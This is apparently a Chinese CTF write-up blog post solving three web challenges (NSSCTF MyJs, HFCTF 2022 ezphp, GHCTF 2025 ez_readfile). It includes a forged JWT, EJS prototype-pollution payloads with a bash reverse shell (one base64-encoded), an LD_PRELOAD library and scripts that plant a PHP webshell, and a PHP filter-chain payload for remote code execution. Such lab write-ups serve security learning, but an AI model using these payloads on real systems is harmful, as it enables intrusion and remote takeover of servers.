2025-8-2-复现
今天是第二天,加油!
1.[NSSCTF 2nd]MyJs
打开环境后F12有hint,尝试url/source
发现源码
点击查看代码
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')
分析代码看到ejs,是不是ejs的原型链污染?
在/login有对secretid的验证,试试用空算法和将secretid设置为数组来绕过
另外看到/register中有nss的账户,通过伪造token试试
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE3NTQxMjM3MzJ9.
输入后登录成功
再看原来代码/update存在ejs的lodash原型链污染,ejs模板注入
尝试注入
点击查看代码
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"
}
}
成功拿到shell
在env中拿到flag
常用ejs模板注入的payload:
点击查看代码
1.{"proto":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"}}
2.{"proto":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
3.{"proto":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');var __tmp2"}}
4.{"proto":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvaXAvcG9ydCAwPiYxXCI|base64 -d|bash');var __tmp2"}}
2.[虎符CTF 2022]ezphp
打开环境短短一行
点击查看代码
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
通过env参数设置环境变量(putenv),并执行system('echo hfctf2022')。
利用环境变量注入实现任意命令执行(如读取/flag),但题目环境为Debian系统,传统bash环境变量注入(如BASH_ENV)无效。
不过我们可通过 LD_PRELOAD劫持来绕过
先准备1.c
点击查看代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}
gcc -shared -fPIC 1.c -o 1.so
由于我们要触发Nginx临时文件,所以增大文件体积
dd if=/dev/zero bs=1K count=32 >> 1.so
下面脚本
payload1:
1.py
点击查看代码
from threading import Thread
import requests
import socket
import time
port = 23213
host = "node5.anna.nssctf.cn"
def do_so():
data = open("1.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
payload2:
2.py
点击查看代码
import requests
from threading import Thread
port = 23213
host = "node5.anna.nssctf.cn"
def ldload(pid, fd):
sopath = f"/proc/{pid}/fd/{fd}"
print(sopath)
r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
再同时运行1.py 和2.py
在蚁剑中拿到flag
3.[GHCTF 2025]ez_readfile
打开环境,是md5的强比较
利用fastcoll工具生成一下吧
得到
a=xinghe%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A0%B1d2%2B%E2%8FP%14%D9%83%7C%D9%90%CDM%5C%A4Hi%E3%2A%144P%12%7Cq%ED%27A%16j%99%11%E3n%AD%25%3F%E7%19J%03%D6w%83%D0%DF%91I%AA%84-%98%E5%03%B1%82%82%00t%C4J%23_%81%C1%191%03%F0%97w%1C%95a%94%84%F3%D2%1B%A1%FE%26%BF+V%D5%BB%13%C5T%1A%5D%1E%FBrV%E2%5B%D7%92%C3%CD%A7%A1%AF%F2%99S%86%FAvc%D9%C6h%F3%A9g%96%A8z%04%97t%AA&b=xinghe%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A0%B1d2%2B%E2%8FP%14%D9%83%7C%D9%90%CDM%5C%A4H%E9%E3%2A%144P%12%7Cq%ED%27A%16j%99%11%E3n%AD%25%3F%E7%19J%03%D6%F7%83%D0%DF%91I%AA%84-%98%E5%03%B1%82%02%00t%C4J%23_%81%C1%191%03%F0%97w%1C%95a%94%84%F3%D2%1B%A1%7E%26%BF+V%D5%BB%13%C5T%1A%5D%1E%FBrV%E2%5B%D7%92%C3%CD%A7%A1%AF%F2%19S%86%FAvc%D9%C6h%F3%A9g%96%A8%FA%04%97t%AA
抓包
下面有两种方法
法一:
url/?file=/docker-entrypoint.sh
得到镜像的内容
发现flag应该是在/f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag
这个超长文件里
访问一下,拿到flag
法二:
第一步读取/proc/self/maps
文件
/?file=/proc/self/maps
将内容保存为maps,同时找到libc文件的位置
第二步
读取libc文件
最好要用?file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so
拿到后解码保存为libc.so
利用工具php-filter-iconv
需要修改python脚本,主要修改cmd命令和libc文件名称
cmd = "echo '<?php system($_GET[\"cmd\"]); ?>' > /var/www/html/shell.php"
然后运行脚本
得到payload
?file=php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vX99xrExG2Bz3n/WZY5t5axuz94W/vTSeWc2YzDJK6e26yq3/c69QkeKn9yNT57teq55gVTZJbfXkKEwNecEDgWWX35phzQb8Cd7ropkpFq0iz4NeRIPB5z9FIvXTNvytiFk0z6tWdxEvADoOOynuPdKZvnlIXohfoPfOY2Ek2RrwaGhbGPDc9FwRylOZx6Qf9hZrxavPt6iKyZ74OenXbe6/N68eP9%2b%2b6oJD8c1bd%2bfMSE//Y4ncAw4f6cv3CKbdvedtHXVshv3Tf9F%2bfwu7fe/U0Ul5%2b65TkO161tev1z%2b%2bv3/fs5/n6efIn1/PgN%2b7/qa/PP7M%2buT7/vPiE%2bPpX7vZTV/Rn791/7fdbif4g/aVxz6tqLdW%2bT6%2bqn3d/n1z79O1VtfMmP63wrux7Gjn96euTO530tl77fbzy3OK4%2bNdfH0cY27/Rfr5V7rzx9M9/tldFnr9q9%2brTitNr7xXNWx17bum9V7WWz7Z/bn3%2bV2vng69/I/7M2D9f/JT3nde16/pPW9bXSFrar9s95/WeefFfb%2b%2burV30ff%2b7tRLHzC2VflYz4/eGxDGb9YXTiqZd6vfqzEyp//MtW%2bU2AS0NefeVkk9mvO0wXebocqmeQLDvqu3uUV28VfnaDDZBz//445zhxTddo2k91/oikqVcVP6y41e84Pb2ExFGUdZJvZkCE7/Ijzp61NEjy9EJFcWahpcen/ubOX/vGUPXTbwEnN1mPl1I2fbdnfnfbp6WCVa5zUBl402nAwvsR9G73kbfy/OZ/%2bj4y9/39/9OnaV0qIyATolrMdcsvDvzX27LV13mLya4jUAJdGDDs03HIr1qvLfXahvWbur4IQwA
然后运行
下面和法一一样,拿flag